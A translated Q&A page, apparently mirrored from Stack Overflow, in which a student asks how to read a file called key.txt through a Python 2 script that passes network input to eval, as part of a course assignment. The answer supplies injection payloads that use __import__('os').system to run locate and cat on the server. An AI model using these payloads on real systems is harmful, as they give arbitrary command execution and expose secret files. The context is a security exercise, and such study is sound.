簡體   English   中英

通過python eval執行代碼

[英]Executing code through python eval

我的課程分配是在服務器上讀取一個名為key.txt的文件,該文件與端口2323上運行的python腳本位於同一目錄中。腳本中運行的代碼如下:

while 1: print  eval(raw_input("Enter   Math:"))

我正在連接PuTTY,每次我運行任何代碼時,如果傳遞的代碼無效,連接都會立即斷開。 它沒有給出任何解釋,但我假設eval函數無法解析我的代碼。

這是我嘗試過的一些東西及其輸出:

  • 輸入open('key.txt', 'r').read() (或任何明確的代碼)會終止連接
  • 使用chr(#)傳遞命令,例如。 你好= chr(104)+chr(101)+chr(108)+chr(108)+chr(111) 服務器隨便吐出我鍵入的內容
  • 通過輸入compile('print "Hello!"', 'buttfile', 'exec')使用compile ,輸出<code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>

這些是我可以想到的僅有兩種方法,它們可以使我傳遞代碼。 我編寫了一個小型cpp程序,將我鍵入的任何內容轉換為char組合,包括換行符,以便可以使用chr()方法輸入多行代碼。

所以我的問題是我將如何執行代碼以通過python的eval函數讀取文件?

如果要連接到linux系統,則可以使用兩個命令來完成:

__import__("os").system("locate key.txt")

這假定locate數據庫是最新的。

然后,當您知道位置時,請使用:

__import__("os").system("cat /location/of/file/key.txt")

這會將鍵輸出到屏幕。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM